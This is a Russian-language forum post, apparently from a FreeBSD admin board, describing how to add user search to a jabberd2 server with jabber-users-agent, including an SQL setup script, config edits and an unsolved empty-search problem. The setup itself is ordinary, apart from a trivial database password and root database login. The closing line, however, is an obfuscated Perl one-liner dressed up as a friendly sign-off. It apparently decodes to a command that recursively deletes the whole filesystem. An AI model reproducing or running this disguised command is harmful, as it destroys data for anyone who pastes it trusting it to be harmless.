
Ковыряю с недавнего времени jabber2 server for FreeBSD, конструктор каких еще поискать 

.
Вобщем базовые модули работают, а их там, раз, два..... эм
===
# ps -waux | grep jabber
jabber     91346  0.0  0.3  6176  3744  ??  Ss   11:28AM   0:04.38 /usr/local/bin/perl /usr/local/bin/jabberd -b
jabber     91342  0.0  0.2  6972  2608  p0  S    11:28AM   0:00.33 /usr/local/bin/router -c /usr/local/etc/jabberd/router.xml
jabber     91343  0.0  0.3  7836  3604  p0  S    11:28AM   0:00.40 /usr/local/bin/sm -c /usr/local/etc/jabberd/sm.xml
jabber     91344  0.0  0.2  6916  2512  p0  S    11:28AM   0:00.03 /usr/local/bin/s2s -c /usr/local/etc/jabberd/s2s.xml
jabber     91345  0.0  0.2  7496  3080  p0  S    11:28AM   0:00.14 /usr/local/bin/c2s -c /usr/local/etc/jabberd/c2s.xml
===
солянка 

Но это оказалось началом, так как базовый функционал не подразумевает многого. Про общий ростер я отписал в соседнем треде, это сделано и это кул. Следующее, в jabber2 напроч по умолчанию отсутвует возможность поиска юзерей. Чтобы ее прикрутить надо поставить 
jabber-users-agentПерескажу краткую последовательность действий, авось кому пригодится:
Ставим:
/usr/ports/net-im/jabber-users-agent 
   #make install clean
После инстала в директории 
/usr/local/lib/jabber/users-agent появятся парочка перловый скриптов, один для создания базы, другой для запуска 
jabber-users-agent . С созданием базы из перлового скрипта есть проблемы, надо доставлять перловые модули и прочее, поэтому проще создать файло:
DBCreateJUD.sql===
   CREATE DATABASE JUD;
   GRANT ALL PRIVILEGES ON JUD.* to jud@localhost IDENTIFIED BY 'jud';
   CREATE TABLE JUD.jud (jid VARCHAR(100) PRIMARY KEY, name VARCHAR(100),
                       first VARCHAR(50), last VARCHAR(50),nick VARCHAR(50),
                       email VARCHAR(50), INDEX ind_name (name), INDEX ind_first (first),
                       INDEX ind_last (last), INDEX ind_nick (nick),
                       INDEX ind_email (email));
===
Теперь ставим:
#mysql  -u root -p < DBCreateJUD.sqlВсе готово, переходим к редактированию конфига 
jabber-users-agent #ee /usr/local/etc/jabber-users-agent.xmlПравим:
<secret>foobar</secret>
foobar меняем на то, что прописано в router.xml в этом же поле.
Дальше меняем параметры подкл к базе Мускул:
===
<mysql>
    <dbname>JUD</dbname>
    <host>localhost</host>
    <port>3306</port>
    <username>root</username>
    <password>пасс</password>
    <limit>250</limit>
  </mysql>
Меняем права на этот файл 660, и юзер группа jabber
===
После этого можно стартовать jabber-users-agent, для этого запускаем скрипт 
users-agent из 
/usr/local/lib/jabber/users-agent=== 
./users-agentЧтобы в фон: 
./users-agent &Вобщем после этого в процессах висит:
===
ps -waux | grep user
root       91454 17.3  0.8 13268 10820  p0  S    11:54AM   0:01.19 /usr/local/bin/perl ./users-agent===
Стало быть работает, далее регим на сервере юзера, настраивал в Psi, смотрим в "Сервисы" и видим что появился "Users-Agent".
ТЕПЕРЬ ПРОБЛЕМА Тыкаем в него, появляется окно поиска, пробуем искать и вот незадача, поиск не выдает список юзерей.
В этом случае, не очень врубаюсь в механизм. Я как понимаю при реге нового юзера инфа о нем появляется в базе мускула jabberd2 и должна заносится в базу JUD для поиска, вот походу не заносится почему то пусто 

. 
Когда запускаю скрипт 
./users-agent конект с базой происходит 100 пудово, в этом скрипте есть отладка параметр 
$optctl{debug} = 1;
 при запуске в режиме отладки полно различной инфы, которая фиг знает что означает, вывод конечно могу дать...
Кто что думает по этому поводу?
===
п.с.. другие сервера не предагать, т.к. юзаю jabberd 1.4, OpenFire, единственное ejabber не юзал 

, но этот уже установлен, работает, в нем куча юзерей и т.д.
 
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'